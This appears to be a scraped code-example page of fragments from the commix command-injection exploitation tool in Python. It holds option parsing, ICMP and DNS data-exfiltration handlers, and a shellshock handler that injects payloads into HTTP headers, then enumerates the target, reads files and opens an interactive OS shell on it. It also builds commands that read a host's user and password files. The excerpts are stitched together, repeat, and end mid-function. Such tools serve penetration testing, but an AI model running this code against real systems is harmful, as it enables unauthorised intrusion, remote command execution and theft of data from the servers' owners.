     settings.PARAMETER_DELIMITER = menu.options.pdel

    # Check if defined character used for splitting cookie values.
    if menu.options.cdel:
     settings.COOKIE_DELIMITER = menu.options.cdel

    # Check if specified wrong injection technique
    if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
      found_tech = False
      # Convert injection technique(s) to lowercase
      menu.options.tech = menu.options.tech.lower()
      # Check if used the ',' separator
      if "," in menu.options.tech:
        split_techniques_names = menu.options.tech.split(",")
      else:
        split_techniques_names = menu.options.tech.split()
      if split_techniques_names:
        for i in range(0,len(split_techniques_names)):
          if len(menu.options.tech) <= 4:
            split_first_letter = list(menu.options.tech)
            for j in range(0,len(split_first_letter)):
              if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
                found_tech = True
          if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and found_tech == False:
            print Back.RED + "(x) Error: You specified wrong '" + split_techniques_names[i] + "' injection technique." + Style.RESET_ALL
            print Back.RED + "(x) The available techniques are: classic,eval-based,time-based,file-based or c,e,t,f (with or without commas)." + Style.RESET_ALL
            sys.exit(0)

    # Cookie Injection
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      settings.COOKIE_INJECTION = True

    # User-Agent Injection
    if menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      settings.USER_AGENT_INJECTION = True

    # Referer Injection
    if menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      settings.REFERER_INJECTION = True

    # Check if specified wrong alternative shell
    if menu.options.alter_shell:
      if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
        print Back.RED + "(x) Error: '" + menu.options.alter_shell + "' shell is not supported!" + Style.RESET_ALL
        sys.exit(0)

    # Check the file-destination
    if menu.options.file_write and not menu.options.file_dest or \
    menu.options.file_upload  and not menu.options.file_dest:
      print Back.RED + "(x) Error: Host's absolute filepath to write and/or upload, must be specified (--file-dest)." + Style.RESET_ALL
      sys.exit(0)

    if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
       print Back.RED + "(x) Error: You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL
       sys.exit(0)

    # Check if defined "--file-upload" option.
    if menu.options.file_upload:
      # Check if not defined URL for upload.
      if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
        print Back.RED + "(x) Error: The '"+ menu.options.file_upload + "' is not a valid URL. " + Style.RESET_ALL
        sys.exit(0)

    # # Check if specified file-access options
    # # Check if not defined "--file-dest" option.
    # if menu.options.file_dest == None:
    #   # Check if defined "--file-write" option.
    #   if menu.options.file_write:
    #     file_name = os.path.split(menu.options.file_write)[1]
    #     menu.options.file_dest = settings.SRV_ROOT_DIR + file_name
        
    #   # Check if defined "--file-upload" option.
    #   if menu.options.file_upload:
    #     file_name = os.path.split(menu.options.file_upload)[1]
    #     menu.options.file_dest = settings.SRV_ROOT_DIR + file_name
        
    # elif menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
    #   print Back.RED + "(x) Error: You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL
    #   sys.exit(0)
        
    # Check if defined "--random-agent" option.
    if menu.options.random_agent:
      menu.options.agent = random.choice(settings.USER_AGENT_LIST)

    # Check if defined "--url" option.
    if menu.options.url:
      url = menu.options.url

      # If URL not starts with any URI scheme, add "http://"
      if not urlparse.urlparse(url).scheme:
        url = "http://" + url

      if menu.options.output_dir:
        output_dir = menu.options.output_dir
      else:
        output_dir = settings.OUTPUT_DIR
      dir = os.path.dirname(output_dir)
      try:
        os.stat(output_dir)
      except:
        os.mkdir(output_dir)   

      # The logs filename construction.
      filename = logs.create_log_file(url, output_dir)
      try:
        request = urllib2.Request(url)
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
          proxy.do_check(url)
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
          tor.do_check()
        sys.stdout.write("(*) Checking connection to the target URL... ")
        sys.stdout.flush()
        try:
          # Check if defined any HTTP Proxy (--proxy option).
          if menu.options.proxy:
            response = proxy.use_proxy(request)
          # Check if defined Tor (--tor option).  
          elif menu.options.tor:
            response = tor.use_tor(request)
          else:
            response = urllib2.urlopen(request)
        except:
          raise
        html_data = response.read()
        content = response.read()
        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

        try:
          if response.info()['server'] :
            server_banner = response.info()['server']
            found_server_banner = False
            for i in range(0,len(settings.SERVER_BANNERS)):
              if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
                if menu.options.verbose:
                  print Style.BRIGHT + "(!) The server was identified as " + Style.UNDERLINE + server_banner + Style.RESET_ALL + "." + Style.RESET_ALL
                settings.SERVER_BANNER = server_banner
                found_server_banner = True
                # Set up default root paths
                if settings.SERVER_BANNERS[i].lower() == "apache":
                  settings.SRV_ROOT_DIR = "/var/www"
                if settings.SERVER_BANNERS[i].lower() == "nginx": 
                  settings.SRV_ROOT_DIR = "/usr/share/nginx"
                break
            if found_server_banner != True:
              print  Fore.YELLOW + "(^) Warning: The server which was identified as " + server_banner + " seems unknown." + Style.RESET_ALL
        except KeyError:
          pass

        # Charset detection [1].
        # [1] http://www.w3schools.com/html/html_charset.asp
        # Check if HTML4 format
        content = re.findall(r";charset=(.*)\"", html_data)
        if len(content) != 0 :
          charset = content
        else:
           # Check if HTML5 format
          charset = re.findall(r"charset=['\"](.*?)['\"]", html_data)
        if len(charset) != 0 :
          settings.CHARSET = charset[len(charset)-1]
          if settings.CHARSET.lower() not in settings.CHARSET_LIST:
            print  Fore.YELLOW + "(^) Warning: The indicated web-page charset "  + settings.CHARSET + " seems unknown." + Style.RESET_ALL
          else:
            if menu.options.verbose:
              print Style.BRIGHT + "(!) The indicated web-page charset appears to be "  + Style.UNDERLINE  + settings.CHARSET + Style.RESET_ALL + "." + Style.RESET_ALL

      except urllib2.HTTPError, e:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"

        # Check the codes of responses
        if e.getcode() == 500:
          content = e.read()
          sys.exit(0)

        elif e.getcode() == 401:
          if menu.options.auth_type != "basic":
            print Back.RED + "(x) Error: Only 'Basic' Access Authentication is supported." + Style.RESET_ALL
            sys.exit(0)
          else:
            print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL
            sys.exit(0)
          
        elif e.getcode() == 403:
          print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL
          sys.exit(0)
          
        elif e.getcode() == 404:
          print Back.RED + "(x) Error: The host seems to be down!" + Style.RESET_ALL
          sys.exit(0)

        else:
          raise

      except urllib2.URLError, e:
        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
        print Back.RED + "(x) Error: The host seems to be down!" + Style.RESET_ALL
        sys.exit(0)
Exemplo n.º 26
0
def icmp_exfiltration_handler(url, http_request_method):
    # Check injection state
    settings.DETECTION_PHASE = True
    settings.EXPLOITATION_PHASE = False
    # You need to have root privileges to run this script
    if os.geteuid() != 0:
        err_msg = "You need to have root privileges to run this option."
        print(settings.print_critical_msg(err_msg) + "\n")
        os._exit(0)

    if not menu.options.data:
        #url = parameters.do_GET_check(url, http_request_method)
        request = _urllib.request.Request(url)
        headers.do_check(request)
        vuln_parameter = parameters.vuln_GET_param(url)

    else:
        parameter = menu.options.data
        parameter = _urllib.parse.unquote(parameter)
        parameter = parameters.do_POST_check(parameter, http_request_method)
        request = _urllib.request.Request(url, parameter)
        headers.do_check(request)
        vuln_parameter = parameters.vuln_POST_param(parameter, url)

    # Check if defined any HTTP Proxy.
    if menu.options.proxy:
        try:
            response = proxy.use_proxy(request)
        except _urllib.error.HTTPError as err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(
                    err_msg.code) == settings.BAD_REQUEST:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print("\n" + settings.print_critical_msg(err))
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    # Check if defined Tor.
    elif menu.options.tor:
        try:
            response = tor.use_tor(request)
        except _urllib.error.HTTPError as err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(
                    err_msg.code) == settings.BAD_REQUEST:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print("\n" + settings.print_critical_msg(err))
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    else:
        try:
            response = _urllib.request.urlopen(request,
                                               timeout=settings.TIMEOUT)
        except _urllib.error.HTTPError as err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(
                    err_msg.code) == settings.BAD_REQUEST:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print("\n" + settings.print_critical_msg(err))
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    if settings.TARGET_OS == "win":
        err_msg = "This module's payloads are not suppoted by "
        err_msg += "the identified target operating system."
        print(settings.print_critical_msg(err_msg) + "\n")
        os._exit(0)

    else:
        technique = "ICMP exfiltration module"
        info_msg = "Loading the " + technique + ". \n"
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()

        ip_data = menu.options.ip_icmp_data

        #  Source IP address
        ip_src = re.findall(r"ip_src=(.*),", ip_data)
        ip_src = ''.join(ip_src)

        # Destination IP address
        ip_dst = re.findall(r"ip_dst=(.*)", ip_data)
        ip_dst = ''.join(ip_dst)

        exploitation(ip_dst, ip_src, url, http_request_method, vuln_parameter,
                     technique)
Exemplo n.º 27
0
def shellshock_handler(url, http_request_method, filename):

  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False

  injection_type = "results-based command injection"
  technique = "shellshock injection technique"

  info_msg = "Testing the " + technique + ". "
  if settings.VERBOSITY_LEVEL >= 2:
    info_msg = info_msg + "\n"
  sys.stdout.write(settings.print_info_msg(info_msg))
  sys.stdout.flush()

  try: 
    i = 0
    total = len(shellshock_cves) * len(headers)
    for cve in shellshock_cves:
      for check_header in headers:
        # Check injection state
        settings.DETECTION_PHASE = True
        settings.EXPLOITATION_PHASE = False
        i = i + 1
        attack_vector = "echo " + cve + ":Done;"
        payload = shellshock_payloads(cve, attack_vector)

        # Check if defined "--verbose" option.
        if settings.VERBOSITY_LEVEL == 1:
          sys.stdout.write("\n" + settings.print_payload(payload))
        elif settings.VERBOSITY_LEVEL >= 2:
          debug_msg = "Generating payload for the injection."
          print(settings.print_debug_msg(debug_msg))
          print(settings.print_payload(payload))

        header = {check_header : payload}
        request = _urllib.request.Request(url, None, header)
        if check_header == "User-Agent":
          menu.options.agent = payload
        else:
          menu.options.agent = default_user_agent  
        log_http_headers.do_check(request)
        log_http_headers.check_http_traffic(request)
        # Check if defined any HTTP Proxy.
        if menu.options.proxy:
          response = proxy.use_proxy(request)
        # Check if defined Tor.
        elif menu.options.tor:
          response = tor.use_tor(request)
        else:
          response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
        percent = ((i*100)/total)
        float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

        if str(float_percent) == "100.0":
          if no_result == True:
            percent = settings.FAIL_STATUS
          else:
            percent = settings.info_msg
            no_result = False

        elif len(response.info()) > 0 and cve in response.info():
          percent = settings.info_msg
          no_result = False

        else:
          percent = str(float_percent)+ "%"

        if settings.VERBOSITY_LEVEL == 0:
          info_msg = "Testing the " + technique + "." + "" + percent + ""
          sys.stdout.write("\r" + settings.print_info_msg(info_msg))
          sys.stdout.flush()

        if no_result == False:
          # Check injection state
          settings.DETECTION_PHASE = False
          settings.EXPLOITATION_PHASE = True
          # Print the findings to log file.
          if export_injection_info == False:
            export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
          
          vuln_parameter = "HTTP Header"
          the_type = " " + vuln_parameter
          check_header = " " + check_header
          vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
          check_header = check_header[1:]
          logs.update_payload(filename, counter, payload) 

          if settings.VERBOSITY_LEVEL != 0:
            checks.total_of_requests()

          info_msg = "The (" + check_header + ") '"
          info_msg += url + Style.RESET_ALL + Style.BRIGHT 
          info_msg += "' seems vulnerable via " + technique + "."
          if settings.VERBOSITY_LEVEL < 2:
            print("")
          print(settings.print_bold_info_msg(info_msg))
          sub_content = "\"" + payload + "\""
          print(settings.print_sub_content(sub_content))

          # Enumeration options.
          if settings.ENUMERATION_DONE == True :
            if settings.VERBOSITY_LEVEL != 0:
              print("")
            while True:
              if not menu.options.batch:
                question_msg = "Do you want to enumerate again? [Y/n] > "
                enumerate_again = _input(settings.print_question_msg(question_msg))

              else:
                 enumerate_again = "" 
              if len(enumerate_again) == 0:
                 enumerate_again = "Y"
              if enumerate_again in settings.CHOICE_YES:
                enumeration(url, cve, check_header, filename)
                break
              elif enumerate_again in settings.CHOICE_NO: 
                break
              elif enumerate_again in settings.CHOICE_QUIT:
                raise SystemExit()
              else:
                err_msg = "'" + enumerate_again + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
          else:
            enumeration(url, cve, check_header, filename)

          # File access options.
          if settings.FILE_ACCESS_DONE == True :
            while True:
              if not menu.options.batch:
                question_msg = "Do you want to access files again? [Y/n] > "
                file_access_again = _input(settings.print_question_msg(question_msg))
              else:
                 file_access_again= "" 
              if len(file_access_again) == 0:
                 file_access_again = "Y"
              if file_access_again in settings.CHOICE_YES:
                file_access(url, cve, check_header, filename)
                break
              elif file_access_again in settings.CHOICE_NO: 
                break
              elif file_access_again in settings.CHOICE_QUIT:
                raise SystemExit()
              else:
                err_msg = "'" + file_access_again  + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
          else:
            file_access(url, cve, check_header, filename)

          if menu.options.os_cmd:
            cmd = menu.options.os_cmd 
            shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
            print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL 
            raise SystemExit()

          else:
            # Pseudo-Terminal shell
            print("")
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                gotshell = _input(settings.print_question_msg(question_msg))
              else:
                gotshell= ""  
              if len(gotshell) == 0:
                 gotshell= "Y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print("")
                print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    if not readline_error:
                      # Tab compliter
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again)

                      if go_back:
                        break
                    else: 
                      shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
                      if shell != "":
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
                      else:
                        debug_msg = "Executing the '" + cmd + "' command. "
                        if settings.VERBOSITY_LEVEL == 1:
                          sys.stdout.write(settings.print_debug_msg(debug_msg))
                          sys.stdout.flush()
                          sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
                        elif settings.VERBOSITY_LEVEL >= 2:
                          sys.stdout.write(settings.print_debug_msg(debug_msg))
                          sys.stdout.flush()
                          sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print(settings.print_critical_msg(err_msg) + "\n")

                  except KeyboardInterrupt:
                    raise

                  except SystemExit:
                    raise

                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print(settings.print_error_msg(err_msg))
                    raise

                  except TypeError:
                    break
                    
              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True 

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                continue
              break
        else:
          continue
          
    if no_result:
      if settings.VERBOSITY_LEVEL != 2:
        print("")
      err_msg = "All tested HTTP headers appear to be not injectable."
      print(settings.print_critical_msg(err_msg))
      raise SystemExit()
      
  except _urllib.error.HTTPError as err_msg:
    if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
      response = False  
    elif settings.IGNORE_ERR_MSG == False:
      err = str(err_msg) + "."
      print("\n") + settings.print_critical_msg(err)
      continue_tests = checks.continue_tests(err_msg)
      if continue_tests == True:
        settings.IGNORE_ERR_MSG = True
      else:
        raise SystemExit()

  except _urllib.error.URLError as err_msg:
    err_msg = str(err_msg.reason).split(" ")[2:]
    err_msg = ' '.join(err_msg)+ "."
    if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
      print("")
    print(settings.print_critical_msg(err_msg))
    raise SystemExit()

  except _http_client.IncompleteRead as err_msg:
    print(settings.print_critical_msg(err_msg + "."))
    raise SystemExit()  
Exemplo n.º 28
0
def dns_exfiltration_handler(url, http_request_method):
    # Check injection state
    settings.DETECTION_PHASE = True
    settings.EXPLOITATION_PHASE = False
    # You need to have root privileges to run this script
    if os.geteuid() != 0:
        err_msg = "You need to have root privileges to run this option."
        print("\n" + settings.print_critical_msg(err_msg))
        os._exit(0)

    if http_request_method == "GET":
        #url = parameters.do_GET_check(url)
        vuln_parameter = parameters.vuln_GET_param(url)
        request = _urllib.request.Request(url)
        headers.do_check(request)

    else:
        parameter = menu.options.data
        parameter = _urllib.parse.unquote(parameter)
        parameter = parameters.do_POST_check(parameter)
        request = _urllib.request.Request(url, parameter)
        headers.do_check(request)
        vuln_parameter = parameters.vuln_POST_param(parameter, url)

    # Check if defined any HTTP Proxy.
    if menu.options.proxy:
        try:
            response = proxy.use_proxy(request)
        except _urllib.error.HTTPError as err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print("\n") + settings.print_critical_msg(err)
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    # Check if defined Tor.
    elif menu.options.tor:
        try:
            response = tor.use_tor(request)
        except _urllib.error.HTTPError as err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print("\n") + settings.print_critical_msg(err)
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    else:
        try:
            response = _urllib.request.urlopen(request)
        except _urllib.error.HTTPError as err_msg:
            if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR:
                response = False
            elif settings.IGNORE_ERR_MSG == False:
                err = str(err_msg) + "."
                print("\n") + settings.print_critical_msg(err)
                continue_tests = checks.continue_tests(err_msg)
                if continue_tests == True:
                    settings.IGNORE_ERR_MSG = True
                else:
                    os._exit(0)

    if settings.TARGET_OS == "win":
        err_msg = "This module's payloads are not suppoted by "
        err_msg += "the identified target operating system."
        print(settings.print_critical_msg(err_msg) + "\n")
        os._exit(0)

    else:
        dns_server = menu.options.dns_server
        technique = "DNS exfiltration module"
        info_msg = "Loading the " + technique + ". \n"
        sys.stdout.write(settings.print_info_msg(info_msg))
        exploitation(dns_server, url, http_request_method, vuln_parameter,
                     technique)
Exemplo n.º 29
0
def main():
  try:
    # Check if defined "--version" option.
    if menu.options.version:
      version.show_version()
      sys.exit(0)

    # Checkall the banner
    menu.banner()
        
    # Check python version number.
    version.python_version()

    # Check if defined "--dependencies" option. 
    # For checking (non-core) third party dependenices.
    if menu.options.noncore_dependencies:
      checks.third_party_dependencies()
      sys.exit(0)
      
    # Check if defined "--update" option.        
    if menu.options.update:
      update.updater()
      sys.exit(0)
        
    # Check if defined "--install" option.        
    if menu.options.install:
      install.installer()
      sys.exit(0)
    
    # Check arguments
    if len(sys.argv) == 1:
      menu.parser.print_help()
      print ""
      sys.exit(0)
    
    # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
    if menu.options.logfile:
      parser.logfile_parser()
      
    # Modification on payload
    if not menu.options.shellshock:
      #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
      settings.SYS_USERS  = "echo $(" + settings.SYS_USERS + ")"
      settings.SYS_PASSES  = "echo $(" + settings.SYS_PASSES + ")"

    # Check if defined character used for splitting parameter values.
    if menu.options.pdel:
     settings.PARAMETER_DELIMITER = menu.options.pdel

    # Check if defined character used for splitting cookie values.
    if menu.options.cdel:
     settings.COOKIE_DELIMITER = menu.options.cdel

    # Check if specified wrong injection technique
    if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
      found_tech = False
      # Convert injection technique(s) to lowercase
      menu.options.tech = menu.options.tech.lower()
      # Check if used the ',' separator
      if "," in menu.options.tech:
        split_techniques_names = menu.options.tech.split(",")
      else:
        split_techniques_names = menu.options.tech.split()
      if split_techniques_names:
        for i in range(0,len(split_techniques_names)):
          if len(menu.options.tech) <= 4:
            split_first_letter = list(menu.options.tech)
            for j in range(0,len(split_first_letter)):
              if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES:
                found_tech = True
              else:  
                found_tech = False            
      if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and found_tech == False:
        error_msg = "You specified wrong value '" + split_techniques_names[i] + "' as injection technique. " \
                    "The value, must be a string composed by the letters (C)lassic, (E)val-based, " \
                    "(T)ime-based, (F)ile-based (with or without commas)."
        print Back.RED + settings.ERROR_SIGN + error_msg + Style.RESET_ALL
        sys.exit(0)

    # Cookie Injection
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      settings.COOKIE_INJECTION = True

    # User-Agent Injection
    if menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      settings.USER_AGENT_INJECTION = True

    # Referer Injection
    if menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      settings.REFERER_INJECTION = True

    # Check if specified wrong alternative shell
    if menu.options.alter_shell:
      if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS:
        print Back.RED + settings.ERROR_SIGN + "'" + menu.options.alter_shell + "' shell is not supported!" + Style.RESET_ALL
        sys.exit(0)

    # Check the file-destination
    if menu.options.file_write and not menu.options.file_dest or \
    menu.options.file_upload  and not menu.options.file_dest:
      print Back.RED + settings.ERROR_SIGN + "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." + Style.RESET_ALL
      sys.exit(0)

    if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None :
       print Back.RED + settings.ERROR_SIGN + "You must enter the '--file-write' or '--file-upload' parameter." + Style.RESET_ALL
       sys.exit(0)

    # Check if defined "--file-upload" option.
    if menu.options.file_upload:
      # Check if not defined URL for upload.
      if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
        print Back.RED + settings.ERROR_SIGN + "The '" + menu.options.file_upload + "' is not a valid URL. " + Style.RESET_ALL
        sys.exit(0)
        
    # Check if defined "--random-agent" option.
    if menu.options.random_agent:
      menu.options.agent = random.choice(settings.USER_AGENT_LIST)
  
    # Check if defined "--url" option.
    if menu.options.url:
      url = menu.options.url
      
      # Check if http / https
      url = checks.check_http_s(url)

      if menu.options.output_dir:
        output_dir = menu.options.output_dir
      else:
        output_dir = settings.OUTPUT_DIR
      
      # One directory up, if Windows or if the script is being run under "/src".
      if settings.IS_WINDOWS or "/src" in os.path.dirname(os.path.abspath(__file__)):
        os.chdir("..")
        
      output_dir = os.path.dirname(output_dir)
     
      try:
        os.stat(output_dir)
      except:
        os.mkdir(output_dir)   

      # The logs filename construction.
      filename = logs.create_log_file(url, output_dir)
      try:
        
        # Check if defined POST data
        if menu.options.data:
          request = urllib2.Request(url, menu.options.data)
        else:
          request = urllib2.Request(url)

        headers.do_check(request)  
        
        # Check if defined any HTTP Proxy (--proxy option).
        if menu.options.proxy:
          proxy.do_check(url)
        
        # Check if defined Tor (--tor option).
        elif menu.options.tor:
          tor.do_check()
        sys.stdout.write(settings.INFO_SIGN + "Checking connection to the target URL... ")
        sys.stdout.flush()

        try:
          # Check if defined any HTTP Proxy (--proxy option).
          if menu.options.proxy:
            response = proxy.use_proxy(request)
          # Check if defined Tor (--tor option).  
          elif menu.options.tor:
            response = tor.use_tor(request)
          else:
            try:
              response = urllib2.urlopen(request)
            except ValueError:
              # Invalid format for the '--headers' option.
              print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
              error_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' to provide an HTTP header or '--headers=\"HEADER_NAME:" + settings.INJECT_TAG + "\"' if you want to try to exploit the provided HTTP header."
              print Back.RED + settings.ERROR_SIGN + error_msg + Style.RESET_ALL
              sys.exit(0)
        except:
          raise

        html_data = response.read()
        content = response.read()

        print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

        # Used a valid pair of valid credentials
        if menu.options.auth_cred:
          print Style.BRIGHT + "(!) Identified a valid pair of credentials '" + Style.UNDERLINE  + menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT  + "'." + Style.RESET_ALL

        try:
          if response.info()['server'] :
            server_banner = response.info()['server']
            found_os_server = False
            if menu.options.os and checks.user_defined_os():
              user_defined_os = settings.TARGET_OS

            for i in range(0,len(settings.SERVER_OS_BANNERS)):
              if settings.SERVER_OS_BANNERS[i].lower() in server_banner.lower():
                found_os_server = True
                settings.TARGET_OS = settings.SERVER_OS_BANNERS[i].lower()
                if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft" :
                  identified_os = "Windows"
                  if menu.options.os and user_defined_os != "win":
                    if not checks.identified_os():
                      settings.TARGET_OS = user_defined_os

                  settings.TARGET_OS = identified_os[:3].lower()
                  if menu.options.shellshock:
                    print Back.RED + settings.CRITICAL_SIGN + "The shellshock module is not available for " + identified_os + " targets." + Style.RESET_ALL
                    raise SystemExit()
                else:
                  identified_os = "Unix-like (" + settings.TARGET_OS + ")"
                  if menu.options.os and user_defined_os == "win":
                    if not checks.identified_os():
                      settings.TARGET_OS = user_defined_os

            found_server_banner = False
            for i in range(0,len(settings.SERVER_BANNERS)):
              if settings.SERVER_BANNERS[i].lower() in server_banner.lower():
                if menu.options.verbose:
                  print Style.BRIGHT + "(!) The server was identified as " + Style.UNDERLINE + server_banner + Style.RESET_ALL + "." + Style.RESET_ALL
                settings.SERVER_BANNER = server_banner
                found_server_banner = True
                # Set up default root paths
                if settings.SERVER_BANNERS[i].lower() == "apache":
                  if settings.TARGET_OS == "win":
                    settings.SRV_ROOT_DIR = "\\htdocs"
                  else:
                    settings.SRV_ROOT_DIR = "/var/www"
                if settings.SERVER_BANNERS[i].lower() == "nginx": 
                  settings.SRV_ROOT_DIR = "/usr/share/nginx"
                if settings.SERVER_BANNERS[i].lower() == "microsoft-iis":
                  settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
                break

            if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
              menu.options.current_user = True

            # Check for wrong flags.
            if settings.TARGET_OS == "win":
              if menu.options.is_root :
                print Fore.YELLOW + settings.WARNING_SIGN + "Swithing '--is-root' to '--is-admin' because the target has been identified as windows." + Style.RESET_ALL 
              error_msg = settings.WARNING_SIGN + "The '--passwords' option, is not yet available for Windows targets."
              if menu.options.passwords:
                print Fore.YELLOW + settings.WARNING_SIGN + "The '--passwords' option, is not yet available for Windows targets." + Style.RESET_ALL   
              if menu.options.file_upload :
                print Fore.YELLOW + settings.WARNING_SIGN + "The '--file-upload' option, is not yet available for windows targets. Instead, use the '--file-write' option." + Style.RESET_ALL   
                sys.exit(0)
            else: 
              if menu.options.is_admin : 
                print Fore.YELLOW + settings.WARNING_SIGN + "Swithing the '--is-admin' to '--is-root' because the target has been identified as unix-like. " + Style.RESET_ALL   
            
            if found_os_server == False and \
               not menu.options.os:
              # If "--shellshock" option is provided then,
              # by default is a Linux/Unix operating system.
              if menu.options.shellshock:
                pass 
              else:
                print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify server's operating system." + Style.RESET_ALL 
                while True:
                  got_os = raw_input(settings.QUESTION_SIGN + "Do you recognise the server's operating system? [(W)indows/(U)nix/(q)uit] > ").lower()
                  if got_os.lower() in settings.CHOICE_OS :
                    if got_os.lower() == "w":
                      settings.TARGET_OS = "win"
                      break
                    elif got_os.lower() == "u":
                      break
                    elif got_os.lower() == "q":
                      raise SystemExit()
                  else:
                    if got_os == "":
                      got_os = "enter"
                    print Back.RED + settings.ERROR_SIGN + "'" + got_os + "' is not a valid answer." + Style.RESET_ALL + "\n"
                    pass

            if not menu.options.os:
              if found_server_banner == False:
                print  Fore.YELLOW + settings.WARNING_SIGN + "The server which was identified as " + server_banner + " seems unknown." + Style.RESET_ALL
          else:
